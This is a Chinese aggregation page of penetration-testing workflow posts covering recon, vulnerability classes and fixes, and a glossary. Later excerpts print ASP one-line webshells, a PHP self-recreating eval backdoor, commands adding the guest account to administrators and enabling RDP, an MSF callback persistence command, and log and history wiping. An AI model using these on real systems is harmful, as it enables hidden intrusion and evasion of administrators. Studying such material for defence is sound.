精华内容
参与话题
问答
  • 【安全】Web渗透测试(全流程

    万次阅读 多人点赞 2019-10-12 09:59:10
    域名信息查询:信息可用于后续渗透 IP信息查询:确认域名对应IP,确认IP是否真实,确认通信是否正常 端口信息查询:NMap扫描,确认开放端口 如果不会用Nmap,看这里:NMAP 基础教程(功能介绍,安装,使用) ...

    1 信息收集

    1.1 域名、IP、端口

    • 域名信息查询:信息可用于后续渗透

    • IP信息查询:确认域名对应IP,确认IP是否真实,确认通信是否正常

    • 端口信息查询:NMap扫描,确认开放端口

    如果不会用Nmap,看这里:NMAP 基础教程(功能介绍,安装,使用)

    发现:一共开放两个端口,80为web访问端口,3389为windows远程登陆端口,嘿嘿嘿,试一下

    发现:是Windows Server 2003系统,OK,到此为止。

    1.2 指纹识别

    指纹?其实就是网站的信息。比如通过可以访问的资源,如网站首页,查看源代码:

    • 看看是否存在文件遍历的漏洞(如图片路径,再通过../遍历文件)
    • 是否使用了存在漏洞的框架(如果没有现成的就自己挖)

    2 漏洞扫描

    2.1 主机扫描

    • Nessus

    如果不会用Nessus,看这里:【工具-Nessus】Nessus的安装与使用

    经典主机漏扫工具,看看有没有CVE漏洞:

    2.2 Web扫描

    • AWVS(Acunetix | Website Security Scanner)扫描器

    如果不会用AWVS,看这里:【工具-AWVS】AWVS安装与使用

    PS:扫描器可能会对网站构成伤害,小心谨慎使用。

    3 渗透测试

    涉及工具的学习:

    DVWA:【工具-BurpSuite】BurpSuite专业版 安装和使用

    Burp Suite:【工具-DVWA】DVWA的安装和使用

    3.1 弱口令漏洞

    • 漏洞描述

    目标网站管理入口(或数据库等组件的外部连接)使用了容易被猜测的简单字符口令、或者是默认系统账号口令。

    • 渗透测试
    1. 如果不存在验证码,则直接使用相对应的弱口令字典使用burpsuite 进行爆破
    2. 如果存在验证码,则看验证码是否存在绕过、以及看验证码是否容易识别

    示例:DVWA渗透系列一:Brute ForceDVWA渗透系列六:Insecure CAPTCHA

    • 风险评级:高风险
    • 安全建议
    1. 默认口令以及修改口令都应保证复杂度,比如:大小写字母与数字或特殊字符的组合,口令长度不小于8位等
    2. 定期检查和更换网站管理口令

    3.2 文件下载(目录浏览)漏洞

    • 漏洞描述

    一些网站由于业务需求,可能提供文件查看或下载的功能,如果对用户查看或下载的文件不做限制,则恶意用户就能够查看或下载任意的文件,可以是源代码文件、敏感文件等。

    • 渗透测试
    1. 查找可能存在文件包含的漏洞点,比如js,css等页面代码路径
    2. 看看有没有文件上传访问的功能
    3. 采用../来测试能否夸目录访问文件

    示例:DVWA渗透系列四:File Inclusion

    • 风险评级:高风险
    • 安全建议
    1. 采用白名单机制限制服务器目录的访问,以及可以访问的文件类型(小心被绕过)
    2. 过滤【./】等特殊字符
    3. 采用文件流的访问返回上传文件(如用户头像),不要通过真实的网站路径。

    示例:tomcat,默认关闭路径浏览的功能:

    <param-name>listings</param-name>
    <param-value>false</param-value>

    3.3 任意文件上传漏洞

    • 漏洞描述

    目标网站允许用户向网站直接上传文件,但未对所上传文件的类型和内容进行严格的过滤。

    • 渗透测试
    1. 收集网站信息,判断使用的语言(PHP,ASP,JSP)
    2. 过滤规则绕过方法:文件上传绕过技巧
    • 风险评级:高风险
    • 安全建议
    1. 对上传文件做有效文件类型判断,采用白名单控制的方法,开放只允许上传的文件型式;
    2. 文件类型判断,应对上传文件的后缀、文件头、图片类的预览图等做检测来判断文件类型,同时注意重命名(Md5加密)上传文件的文件名避免攻击者利用WEB服务的缺陷构造畸形文件名实现攻击目的;
    3. 禁止上传目录有执行权限;
    4. 使用随机数改写文件名和文件路径,使得用户不能轻易访问自己上传的文件。

    3.4 命令注入漏洞

    • 漏洞描述

    目标网站未对用户输入的字符进行特殊字符过滤或合法性校验,允许用户输入特殊语句,导致各种调用系统命令的web应用,会被攻击者通过命令拼接、绕过黑名单等方式,在服务端运行恶意的系统命令。

    • 渗透测试

    示例:DVWA渗透系列二:Command Injection

    • 风险评级:高风险
    • 安全建议
    1. 拒绝使用拼接语句的方式进行参数传递;
    2. 尽量使用白名单的方式(首选方式);
    3. 过滤危险方法、特殊字符,如:【|】【&】【;】【'】【"】等

    3.5 SQL注入漏洞

    • 漏洞描述

    目标网站未对用户输入的字符进行特殊字符过滤或合法性校验,允许用户输入特殊语句查询后台数据库相关信息

    • 渗透测试
    1. 手动测试,判断是否存在SQL注入,判断是字符型还是数字型,是否需要盲注
    2. 工具测试,使用sqlmap等工具进行辅助测试

    示例:DVWA渗透系列七:SQL InjectionDVWA渗透系列八:SQL Injection(Blind)

    • 风险评级:高风险
    • 安全建议
    1. 防范SQL注入攻击的最佳方式就是将查询的逻辑与其数据分隔,如Java的预处理,PHP的PDO
    2. 拒绝使用拼接SQL的方式

    3.6 跨站脚本漏洞

    • 漏洞描述

    当应用程序的网页中包含不受信任的、未经恰当验证或转义的数据时,或者使用可以创建 HTML或JavaScript 的浏览器 API 更新现有的网页时,就会出现 XSS 缺陷。XSS 让攻击者能够在受害者的浏览器中执行脚本,并劫持用户会话、破坏网站或将用户重定向到恶意站点。

    三种XSS漏洞:

    1. 存储型:用户输入的信息被持久化,并能够在页面显示的功能,都可能存在存储型XSS,例如用户留言、个人信息修改等。
    2. 反射型:URL参数需要在页面显示的功能都可能存在反射型跨站脚本攻击,例如站内搜索、查询功能。
    3. DOM型:涉及DOM对象的页面程序,包括:document.URL、document.location、document.referrer、window.location等
    • 渗透测试

    示例:

    1. 存储型:DVWA渗透系列十二:XSS(Stored)
    2. 反射型:DVWA渗透系列十一:XSS(Reflect)
    3. DOM型:DVWA渗透系列十:XSS(DOM)
    • 风险评级:高风险
    • 安全建议
    1. 不信任用户提交的任何内容,对用户输入的内容,在后台都需要进行长度检查,并且对【<】【>】【"】【'】【&】等字符做过滤
    2. 任何内容返回到页面显示之前都必须加以html编码,即将【<】【>】【"】【'】【&】进行转义。

    3.7 跨站请求伪造漏洞

    • 漏洞描述

    CSRF,全称为Cross-Site Request Forgery,跨站请求伪造,是一种网络攻击方式,它可以在用户毫不知情的情况下,以用户的名义伪造请求发送给被攻击站点,从而在未授权的情况下进行权限保护内的操作,如修改密码,转账等。

    • 渗透测试

    示例:DVWA渗透系列三:CSRF

    • 风险评级:中风险(如果相关业务极其重要,则为高风险)
    • 安全建议
    1. 使用一次性令牌:用户登录后产生随机token并赋值给页面中的某个Hidden标签,提交表单时候,同时提交这个Hidden标签并验证,验证后重新产生新的token,并赋值给hidden标签;
    2. 适当场景添加验证码输入:每次的用户提交都需要用户在表单中填写一个图片上的随机字符串;
    3. 请求头Referer效验,url请求是否前部匹配Http(s)://ServerHost
    4. 关键信息输入确认提交信息的用户身份是否合法,比如修改密码一定要提供原密码输入
    5. 用户自身可以通过在浏览其它站点前登出站点或者在浏览器会话结束后清理浏览器的cookie;

    3.8 内部后台地址暴露

    • 漏洞描述

    一些仅被内部访问的地址,对外部暴露了,如:管理员登陆页面;系统监控页面;API接口描述页面等,这些会导致信息泄露,后台登陆等地址还可能被爆破。

    • 渗透测试
    1. 通过常用的地址进行探测,如login.html,manager.html,api.html等;
    2. 可以借用burpsuite和常规页面地址字典,进行扫描探测
    • 风险评级:中风险
    • 安全建议
    1. 禁止外网访问后台地址;
    2. 使用非常规路径(如对md5加密)。

    3.9 信息泄露漏洞

    • 漏洞描述
    1. 备份信息泄露:目标网站未及时删除编辑器或者人员在编辑文件时,产生的临时文件,或者相关备份信息未及时删除导致信息泄露。
    2. 测试页面信息泄露:测试界面未及时删除,导致测试界面暴露,被他人访问。
    3. 源码信息泄露:目标网站文件访问控制设置不当,WEB服务器开启源码下载功能,允许用户访问网站源码。
    4. 错误信息泄露:目标网站WEB程序和服务器未屏蔽错误信息回显,页面含有CGI处理错误的代码级别的详细信息,例如SQL语句执行错误原因,PHP的错误行数等。
    5. 接口信息泄露:目标网站接口访问控制不严,导致网站内部敏感信息泄露。
    • 渗透测试
    1. 备份信息泄露、测试页面信息泄露、源码信息泄露,测试方法:使用字典,爆破相关目录,看是否存在相关敏感文件

    2. 错误信息泄露,测试方法:发送畸形的数据报文、非正常的报文进行探测,看是否对错误参数处理妥当。

    3. 接口信息泄露漏洞,测试方法:使用爬虫或者扫描器爬取获取接口相关信息,看目标网站对接口权限是否合理

    • 风险评级:一般为中风险,如果源码大量泄漏或大量客户敏感信息泄露。
    • 安全建议
    1. 备份信息泄露漏洞:删除相关备份信息,做好权限控制
    2. 测试页面信息泄露漏洞:删除相关测试界面,做好权限控制
    3. 源码信息泄露漏洞:做好权限控制
    4. 错误信息泄露漏洞:将错误信息对用户透明化,在CGI处理错误后可以返回友好的提示语以及返回码。但是不可以提示用户出错的代码级别的详细原因
    5. 接口信息泄露漏洞:对接口访问权限严格控制

    3.10 失效的身份认证

    • 漏洞描述

    通常,通过错误使用应用程序的身份认证和会话管理功能,攻击者能够破译密码、密钥或会话令牌, 或者利用其它开发缺陷来暂时性或永久性冒充其他用户的身份。

    • 渗透测试
    1. 在登陆前后观察,前端提交信息中,随机变化的数据,总有与当前已登陆用户进行绑定的会话唯一标识,常见如cookie
    2. 一般现在网站没有那种简单可破解的标识,但是如果是跨站认证,单点登录场景中,可能为了开发方便而简化了身份认证

    示例:DVWA渗透系列九:Weak Session IDs

    • 风险评级:高风险
    • 安全建议
    1. 使用强身份识别,不使用简单弱加密方式进行身份识别;
    2. 服务器端使用安全的会话管理器,在登录后生成高度复杂的新随机会话ID。会话ID不能在URL中,可以安全地存储,在登出、闲置超时后使其失效。

    3.11 失效的访问控制

    • 漏洞描述

    未对通过身份验证的用户实施恰当的访问控制。攻击者可以利用这些缺陷访问未经授权的功能或数据,例如:访问其他用户的帐户、查看敏感文件、修改其他用户的数据、更改访问权限等。

    • 渗透测试
    1. 登入后,通过burpsuite 抓取相关url 链接,获取到url 链接之后,在另一个浏览器打开相关链接,看能够通过另一个未登入的浏览器直接访问该功能点。
    2. 使用A用户登陆,然后在另一个浏览器使用B用户登陆,使用B访问A独有的功能,看能否访问。
    • 风险评级:高风险
    • 安全建议
    1. 除公有资源外,默认情况下拒绝访问非本人所有的私有资源;
    2. 对API和控制器的访问进行速率限制,以最大限度地降低自动化攻击工具的危害;
    3. 当用户注销后,服务器上的Cookie,JWT等令牌应失效;
    4. 对每一个业务请求,都进行权限校验。

    3.12 安全配置错误

    • 漏洞描述

    应用程序缺少适当的安全加固,或者云服务的权限配置错误。

    1. 应用程序启用或安装了不必要的功能(例如:不必要的端口、服务、网页、帐户或权限)。
    2. 默认帐户的密码仍然可用且没有更改。
    3. 错误处理机制向用户披露堆栈跟踪或其他大量错误信息。
    4. 对于更新的系统,禁用或不安全地配置最新的安全功能。
    5. 应用程序服务器、应用程序框架(如:Struts、Spring、ASP.NET)、库文件、数据库等没有进行相关安全配置。
    • 渗透测试
    1. 先对应用指纹等进行信息搜集,然后针对搜集的信息,看相关应用默认配置是否有更改,是否有加固过;端口开放情况,是否开放了多余的端口;
    • 风险评级:中风险
    • 安全建议

    搭建最小化平台,该平台不包含任何不必要的功能、组件、文档和示例。移除或不安装不适用的功能和框架。 在所有环境中按照标准的加固流程进行正确安全配置。

    3.13 使用含有已知漏洞的组件

    • 漏洞描述

    使用了不再支持或者过时的组件。这包括:OS、Web服务器、应用程序服务器、数据库管理系统(DBMS)、应用程序、API和所有的组件、运行环境和库。

    • 渗透测试
    1. 根据前期信息搜集的信息,查看相关组件的版本,看是否使用了不在支持或者过时的组件。一般来说,信息搜集,可通过http返回头、相关错误信息、应用指纹、端口探测(Nmap)等手段搜集。
    2. Nmap等工具也可以用于获取操作系统版本信息
    3. 通过CVE,CNVD等平台可以获取当前组件版本是否存在漏洞
    • 风险评级:按照存在漏洞的组件的安全风险值判定当前风险。
    • 安全建议
    1. 移除不使用的依赖、不需要的功能、组件、文件和文档;
    2. 仅从官方渠道安全的获取组件(尽量保证是最新版本),并使用签名机制来降低组件被篡改或加入恶意漏洞的风险;
    3. 监控那些不再维护或者不发布安全补丁的库和组件。如果不能打补丁,可以考虑部署虚拟补丁来监控、检测或保护。

    3.14 业务逻辑漏洞

    见:Web应用常见业务逻辑漏洞

     

     

     


    爱家人,爱生活,爱设计,爱编程,拥抱精彩人生!

    展开全文
  • 渗透测试流程 渗透测试与入侵的最大区别 渗透测试:出于保护系统的目的,更全面地找出测试对象的安全隐患。 入侵:不择手段地(甚至是具有破坏性的)拿到系统权限。 一般渗透测试流程 流程...

    渗透测试这个事情不是随便拿个工具就可以做了, 要了解业务还需要给出解决方案 。之前安全加介绍了金融行业 实战微信银行渗透测试, 运营商 渗透测试实战 ,今天让我们来说说 渗透测试 的流程及渗透测试相关概念。

    渗透测试流程

    渗透测试与入侵的最大区别

    渗透测试:出于保护系统的目的,更全面地找出测试对象的安全隐患。
    入侵:不择手段地(甚至是具有破坏性的)拿到系统权限。
    一般渗透测试流程

    流程并非万能,只是一个工具。思考与流程并用,结合自己经验。

     

    2.1 明确目标

    确定范围:测试目标的范围,ip,域名,内外网。
    确定规则:能渗透到什么程度,时间?能否修改上传?能否提权等。
    确定需求:web应用的漏洞(新上线程序)?业务逻辑漏洞(针对业务的)?人员权限管理漏洞(针对人员、权限)?等等。(立体全方位)
    根据需求和自己技术能力来确定能不能做,能做多少。

    2.2 信息收集

    方式:主动扫描,开放搜索等

    开放搜索:利用搜索引擎获得,后台,未授权页面,敏感url等。

    基础信息:IP,网段,域名,端口
    系统信息:操作系统版本
    应用信息:各端口的应用,例如web应用,邮件应用等等
    版本信息:所有这些探测到的东西的版本。
    服务信息
    人员信息:域名注册人员信息,web应用中网站发帖人的id,管理员姓名等。
    防护信息:试着看能否探测到防护设备
    2.3 漏洞探索

    利用上一步中列出的各种系统,应用等使用相应的漏洞。

    方法:

    1.漏扫,awvs,IBM appscan等。
    2.结合漏洞去exploit-db等位置找利用。
    3.在网上寻找验证poc。
    内容:

    系统漏洞:系统没有及时打补丁
    Websever漏洞:Websever配置问题
    Web应用漏洞:Web应用开发问题
    其它端口服务漏洞:各种21/8080(st2)/7001/22/3389
    通信安全:明文传输,token在cookie中传送等。
    2.4 漏洞验证

    将上一步中发现的有可能可以成功利用的全部漏洞都验证一遍。结合实际情况,搭建模拟环境进行试验。成功后再应用于目标中。

    自动化验证:结合自动化扫描工具提供的结果
    手工验证,根据公开资源进行验证
    试验验证:自己搭建模拟环境进行验证
    登陆猜解:有时可以尝试猜解一下登陆口的账号密码等信息
    业务漏洞验证:如发现业务漏洞,要进行验证
    公开资源的利用
    -exploit-db/wooyun/

    -google hacking

    -渗透代码网站

    -通用、缺省口令

    -厂商的漏洞警告等等。

    2.5 信息分析

    为下一步实施渗透做准备。

    精准打击:准备好上一步探测到的漏洞的exp,用来精准打击
    绕过防御机制:是否有防火墙等设备,如何绕过
    定制攻击路径:最佳工具路径,根据薄弱入口,高内网权限位置,最终目标
    绕过检测机制:是否有检测机制,流量监控,杀毒软件,恶意代码检测等(免杀)
    攻击代码:经过试验得来的代码,包括不限于xss代码,sql注入语句等
    2.6 获取所需

    实施攻击:根据前几步的结果,进行攻击
    获取内部信息:基础设施(网络连接,vpn,路由,拓扑等)
    进一步渗透:内网入侵,敏感目标
    持续性存在:一般我们对客户做渗透不需要。rookit,后门,添加管理账号,驻扎手法等
    清理痕迹:清理相关日志(访问,操作),上传文件等
    2.7 信息整理

    整理渗透工具:整理渗透过程中用到的代码,poc,exp等
    整理收集信息:整理渗透过程中收集到的一切信息
    整理漏洞信息:整理渗透过程中遇到的各种漏洞,各种脆弱位置信息
    目的:为了最后形成报告,形成测试结果使用。

    2.8 形成报告

    按需整理:按照之前第一步跟客户确定好的范围,需求来整理资料,并将资料形成报告
    补充介绍:要对漏洞成因,验证过程和带来危害进行分析
    修补建议:当然要对所有产生的问题提出合理高效安全的解决办法
    2.9 流程总结

     

     

    渗透测试相关名词解析

    1.1 一些前置知识(包含但不限于)

    脚本(asp、php、jsp)
    html(css、js、html)
    HTTP协议
    CMS(B/S)
    1.2 肉鸡

    被黑客入侵并被长期驻扎的计算机或服务器。可以随意控制,可以是任意系统的设备,对象可以是企业,个人,政府等等所有单位。

    1.3 抓鸡

    利用使用量大的程序的漏洞,使用自动化方式获取肉鸡的行为。

    1.4 Webshell

    通过Web入侵的一种脚本工具,可以据此对网站服务进行一定程度的控制。

    1.5 漏洞

    硬件、软件、协议等等的可利用安全缺陷,可能被攻击者利用,对数据进行篡改,控制等。

    1.6 木马

    通过向服务端提交一句简短的代码,配合本地客户端实现webshell功能的木马。

    <%eval request("pass")%>

    <%execute(request("pass"))%>

    request("pass")接收客户端提交的数据,pass为执行命令的参数值。

    eval/execute    函数执行客户端命令的内容

    1.7 提权

    操作系统低权限的账户将自己提升为管理员权限使用的方法。

    1.8 后门

    黑客为了对主机进行长期的控制,在机器上种植的一段程序或留下的一个"入口"。

    1.9 跳板

    使用肉鸡IP来实施攻击其他目标,以便更好的隐藏自己的身份信息。

    1.10 旁站入侵

    即同服务器下的网站入侵,入侵之后可以通过提权跨目录等手段拿到目标网站的权限。常见的旁站查询工具有:WebRobot、御剑、明小子和web在线查询等

    1.11 C段入侵

    即同C段下服务器入侵。如目标ip为192.168.180.253 入侵192.168.180.*的任意一台机器,然后利用一些黑客工具嗅探获取在网络上传输的各种信息。常用的工具有:在windows下有Cain,在UNIX环境下有Sniffit, Snoop, Tcpdump, Dsniff 等。

    1.12 黑盒测试

    在未授权的情况下,模拟黑客的攻击方法和思维方式,来评估计算机网络系统可能存在的安全风险。

    黑盒测试不同于黑客入侵,并不等于黑站。黑盒测试考验的是综合的能力(OS、Datebase、Script、code、思路、社工)。思路与经验积累往往决定成败。

    1.13 白盒测试

    相对黑盒测试,白盒测试基本是从内部发起。白盒测试与黑盒测试恰恰相反,测试者可以通过正常渠道向被测单位取得各种资料,包括网络拓扑、员工资料甚至网站或其它程序的代码片断,也能够与单位的其它员工(销售、程序员、管理者……)进行面对面的沟通。

    1.13 黑白盒的另一种说法

    知道源代码和不知道源代码的渗透测试。这时,黑盒测试还是传统的渗透测试,而白盒测试就偏向于代码审计。

    1.14 APT攻击

    Advanced Persistent Threat,高级可持续性攻击,是指组织(特别是政府)或者小团体利用先进的攻击手段对特定目标进行长期持续性网络攻击的攻击形式。

    1.极强的隐蔽性
    2.潜伏期长,持续性强
    3.目标性强
    渗透测试相关资源

    实战类:

    实战微信银行渗透测试 展示安全评估思路、工具及经验

    某运营商渗透测试实战 展示渗透测试工具及业务系统中的常见问题

    工具类:

    渗透测试人员入门 如何配置Kali Linux直接用于工作

    下载 | Kali Linux2017.2新版发布 增加了一大批新网络渗透测试工具

    安全工程师的福音 免费恶意软件分析工具FlareVM 还可进行逆向工程和渗透测试

    渗透测试工程师的17个常用工具 还有专家告诉你如何成为渗透测试人员

    本文由:绿盟科技博客 发布,版权归属于原作者。 
    如果转载,请注明出处及本文链接: 
    http://toutiao.secjia.com/pentest-process
    如果此文章侵权,请留言,我们进行删除。

    本着资源共享的原则,欢迎各位朋友在此基础上完善,并进一步分享,让我们的实现更加优雅。如果有任何疑问和需要进一步交流可以留言沟通 Testner创始人(测试圈.com) Sea

    展开全文
  • 一次完整的渗透测试流程

    万次阅读 多人点赞 2018-12-01 19:13:56
    渗透测试 信息收集 漏洞探测 漏洞利用 内网转发 内网渗透 痕迹清除 撰写渗透测试保告 渗透测试 渗透测试就是利用我们所掌握的渗透知识,对网站进行一步一步的渗透,发现其中存在的漏洞和隐藏的风险,然后...

    目录

    渗透测试

    信息收集

    漏洞探测

    漏洞利用

    内网转发

    内网渗透

    痕迹清除

    撰写渗透测试保告


    渗透测试

    渗透测试就是利用我们所掌握的渗透知识,对网站进行一步一步的渗透,发现其中存在的漏洞和隐藏的风险,然后撰写一篇测试报告,提供给我们的客户。客户根据我们撰写的测试报告,对网站进行漏洞修补,以防止黑客的入侵!

    渗透测试的前提是我们得经过用户的授权,才可以对网站进行渗透。如果我们没有经过客户的授权而对一个网站进行渗透测试的话,这是违法的。去年的6.1日我国颁布了《网络安全法》,对网络犯罪有了法律约束,不懂的移步——> 网络安全法

    渗透测试分为 白盒测试黑盒测试

    • 白盒测试就是在知道目标网站源码和其他一些信息的情况下对其进行渗透,有点类似于代码分析
    • 黑盒测试就是只告诉我们这个网站的url,其他什么都不告诉,然后让你去渗透,模拟黑客对网站的渗透

    我们现在就模拟黑客对一个网站进行渗透测试,这属于黑盒测试,我们只知道该网站的URL,其他什么的信息都不知道。

    接下来,我就给大家分享下黑盒渗透测试的流程和思路!

    当我们确定好了一个目标进行渗透之后,第一步该做的是什么呢?

    信息收集

    第一步做的就是信息收集,正所谓知己知彼百战百胜,我们根据网站URL可以查出一系列关于该网站的信息。通过URL我们可以查到该网站的IP、该网站操作系统、脚本语言、在该服务器上是否还有其他网站等等一些列的信息。更多的关于信息收集,我在另一篇文章中很详细的介绍了信息收集需要收集哪些信息,以及信息收集过程中需要用到的工具,传送门——> 渗透测试之信息收集

    漏洞探测

    当我们收集到了足够多的信息之后,我们就要开始对网站进行漏洞探测了。探测网站是否存在一些常见的Web漏洞,比如:

    这些是网站经常发现的一些漏洞,还有一些网站漏洞,这里我就不一一列举出来了。

    网站漏洞扫描工具也有很多,比如:

    网站漏洞扫描工具我就列举这几种,还有很多,最常用的是这几个!

    漏洞利用

    当我们探测到了该网站存在漏洞之后,我们就要对该漏洞进行利用了。不同的漏洞有不同的利用工具,很多时候,通过一个漏洞我们很难拿到网站的webshell,我们往往需要结合几个漏洞来拿webshell。常用的漏洞利用工具如下:

    SQL注入 , 传送门——> Sqlmap的使用

    XSS跨站脚本,传送门——> Beef-XSS的使用

    抓包改包工具,——> Burpsuite工具的使用  、  Fidder抓包软件的使用

    文件上传漏洞,上传漏洞的话,我们一般会上传一句话木马上去,进而再获得webshell,传送门——> Webshell和一句话木马

    但是,获得了webshell后,一般权限很低,所以我们需要提权,可以选择反弹一个MSF类型的shell提权:Metasploit Framework(MSF)的使用  、 Msfvenonm生成一个后门木马,也可以反弹一个CobaltStrike类型的shell:渗透测试神器Cobalt Strike的使用, 也可以MSF和CobaltStrike联动:MSF和CobaltStrike联动 也可以使用其他提权:Windows提权 、 Linux提权

    内网转发

    当我们获取到了网站的Webshell之后,如果我们想获取该主机的有关信息,我们可以将该主机的webshell换成MSF的shell。直接生成一个木马,然后在菜刀中执行该木马,我们就能接收到一个MSF类型的shell了。

    如果我们还想进一步的探测内网主机的信息的话,我们就需要进行内网转发了。我们是不能直接和内网的主机通信的,所以我们就需要借助获取到的webshell网站的服务器和内网主机进行通信。

    内网横向渗透

    当我们在获取了外网服务器的权限,进入该系统后,我们要想尽办法从该服务器上查找到我们想要的信息。

    对于windows主机,我们应该多去翻翻目录,或许能有很多意想不到的结果。很多人习惯把账号密码等容易忘的东西存放在备忘录中,或者是桌面上。我们还可以查找数据库的连接文件,查看数据库的连接账号密码等敏感信息。当我们获得了windows主机的账号密码,或者是自己创建了新用户后,我们为了不被网站管理员发现和不破坏服务器。我们尽量不要使用远程桌面。因为使用远程桌面动静比较大,如果此时服务器管理员也在登录,而你此时通过远程桌面登录的话,会将管理员挤掉,而你也将很快的被管理员踢掉。对于实在是要远程桌面登录的情况的话,我们尽量不要新建一个用户进行登录。我们可以激活  guest 用户,然后将其加入 administrators 组里面,用 guest 用户身份登录。在RDP远程登录后,我们可以查看其他用户桌面上和其他目录有哪些软件,我们要找的目标有以下。

    • FTP相关的软件
    • 数据库相关的软件
    • 打开浏览器,查看历史记录,查看某些网站是否保存有用户密码。利用工具查看浏览器保存的密码

    从该主机上找到的账号密码,我们可以做一个字典,在对内网其他机器进行爆破的时候,很有可能是同密码。

    net user  guest  /active:yes                      #激活guest用户
    net localgroup  administrators  guest  /add       #将guest用户添加到
    net user guest    密码                            #更改guest用户密码
    REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f                          #开启3389端口

    对于Linux主机,我们可以查看开放的端口号,开放的服务,与其建立连接的内网主机。查看目录,查找网站数据库连接密码。总之,就是尽可能的多查找一些账号密码,这对于内网的账号爆破非常有用。

    在搭建了隧道可以通内网后,我们首先就需要对内网进行资产发现了。但是对于内网存活网段的判断是一个大问题。内网很有可能同时存在 10.0.0.0/8、172.16.0.0/16、192.168.0.0/24 网段。这就需要我们用扫描器对其进行探测了。通过代理进行内网扫描不建议使用nmap。如果是在本地主机通过代理扫描,可以图形化界面的话,可以使用 RouterScan 、御剑高速TCP全端口扫描器、IIS_Scanner。但是注意线程调低一点,不然代理很容易崩了。如果使用命令行扫描器的话,可以使用S扫描器。在扫描了内网资产和端口开放情况后,对于445端口,就可以打一波MS17_010。但是注意通过代理打445,和之前的是不一样的。传送门——> 内网渗透之MS17-010 。对于3389端口,可以打一波CVE-2019-0708,传送门——> CVE-2019-0708 远程桌面漏洞复现 。对于1433/3306/6379等端口,可以尝试爆破,利用之前收集到的账号密码成功率更高哦。

    关于内网渗透(域环境和非域环境):内网渗透

    内网的横向渗透MSF比较好用:

    内网渗透的ICMP和DNS隧道搭建:

    相关文章:内网渗透测试之域渗透详解!

                      内网渗透中mimikatz的使用

    权限维持

    在拿到目标主机的权限后,很有可能当时我们并不能获取到想要的东西,需要进行长期的潜伏,特别是在内网渗透中,需要进行长期的信息收集。这时,权限维持就很重要了。我们需要维持住获得的现有权限。

    Web后门

    1:隐藏后门文件(将文件设置为隐藏)

    2:不死马,该脚本每5秒向服务器创建test.php,并写入一句话免杀木马。结合attrib命令隐藏文件更好地建立后门。

    <?php
        set_time_limit(0);//程序执行时间
        ignore_user_abort(1);//关掉终端后脚本仍然运行
        unlink(__FILE__);//文件完整名
        while(1){
            file_put_contents('test.php','<?php $a=array($_REQUEST["x"]=>"3");
            $b=array_keys($a)[0];
            eval($b);?>');
            sleep(5);
        }
    ?>

    3: 404页面隐藏后门,或者在其他自带文件中插入后门代码

    注:以上几种后门方法均能被D盾等工具检测到

    Windows系统

    1:建立隐藏用户,在用户名后加 $ 

    2:在开机启动目录下放置木马文件,只要目标机器重启,将回连我们的远控

    3:MSF里的 persistence 模块,执行命令可以使目标机器每隔一定时间自动回连远控。但是容易被发现

    #反弹时间间隔是5s 会自动连接192.168.27的4444端口,缺点是容易被杀毒软件查杀
    run persistence -X -i 5 -p 8888 -r 192.168.10.27  
     
    #然后它就在目标机新建了这个文件:C:\Windows\TEMP\CJzhFlNOWa.vbs ,并把该服务加入了注册表中,只要开机就会启动

    4:在域环境下,想办法获得 krbtgt 用户的哈希,该用户的哈希可以进行票据传递攻击。而且一般该用户的密码不经常改变。

    5:shift后门

    6:远程桌面会话劫持 

    Linux系统

    1:SSH后门

    2:crontab定时任务

    3:SSH公钥

    4:创建SUID=0的用户

    痕迹清除

    当我们达到了目的之后,有时候只是为了黑入网站挂黑页,炫耀一下;或者在网站留下一个后门,作为肉鸡,没事的时候上去溜达溜达;亦或者挂入挖矿木马;但是大家千万不要干这些事,这些都是违法的!

    我这里只是教大家在渗透进去之后如何清除我们留下的一部分痕迹,并不能完全清除,完全清除入侵痕迹是不可能的!主要是增加管理员发现入侵者的时间成本和人力成本。只要管理员想查,无论你怎么清除,还是能查到的。

    最主要还是要以隐藏自身身份为主,最好的手段是在渗透前挂上代理,然后在渗透后痕迹清除。

    Windows系统

    1:如果是windows系统,可用MSF中的 clearev 命令清除痕迹

    2:如果3389远程登录过,需要清除mstsc痕迹

    3:执行命令清除日志:

    del %WINDR%\* .log /a/s/q/f

    4:如果是web应用,找到web日志文件,删除 

    相关文章:WINDOWS之入侵痕迹清理总结

    Linux系统

    1:如果是Linux系统,在获取权限后,执行以下命令,不会记录输入过的命令

    export HISTFILE=/dev/null export HISTSIZE=0

    2:删除 /var/log 目录下的日志文件

    3:如果是web应用,找到web日志文件,删除 

    撰写渗透测试保告

    在完成了渗透测试之后,我们就需要对这次渗透测试撰写渗透测试报告了。明确的写出哪里存在漏洞,以及漏洞修补的方法。以便于网站管理员根据我们的渗透测试报告修补这些漏洞和风险,防止被黑客攻击!

    我们做的这一切的一切都是为了营造一个更安全更可信任的网络环境,大家切记不要利用本篇文章进行违法犯罪行为!

    未完待续。。。。。。

    相关文章:红蓝对抗经验小结

    展开全文
  • 渗透测试的一般流程

    千次阅读 2019-03-25 21:22:48
    1.明确目标 2.信息收集 3.漏洞探测 4.漏洞验证(poc )如 id=27 and select vesion();...exp漏洞利用(注意渗透测试人员不写这个,要写poc ) 5.编写报告 6.信息整理 7.获取所需 8.信息分析 ...

    1.明确目标

    2.信息收集

    3.漏洞探测

    4.漏洞验证(poc )如 id=27 and  select  vesion();只是进行查看,不进行破坏,目的是证明漏洞的存在。

    exp漏洞利用 (注意渗透测试人员不写这个,要写poc ) 

    5.编写报告

    6.信息整理

    7.获取所需

    8.信息分析

    展开全文
  • 渗透测试流程: 1.明确目标 2.分析风险,获得授权 3.信息收集 4.漏洞探测(手动&自动) 5.漏洞验证 6.信息分析 7.利用漏洞,获取数据 8.信息整理 9.形成报告 1.明确目标 1)确定范围:测试的范围,如:IP...
  • 渗透测试流程

    2020-07-24 19:22:25
    通用的渗透测试框架 一、范围界定。 从技术管理的角度看,遵循正规的测试框架对安全测试极为重要。测试人员需要根据目标系统的实际环境和已掌握的相关目标系统的情况,在指定最佳的测试策略。 1.取得授权。 2.明确...
  • 渗透测试基本流程

    2020-05-17 22:50:37
    渗透测试 流程图 确定目标 内容: 范围:IP,域名,以太网 规则:程度,时间,是否可以提权 需求:漏洞的性质。其中可以分为:web应用,业务逻辑,人员权限管路等。 信息收集 内容: 基础信息:IP,网段,域名,...
  • Web(1) - 一次完整的渗透测试流程

    千次阅读 2019-03-12 00:21:19
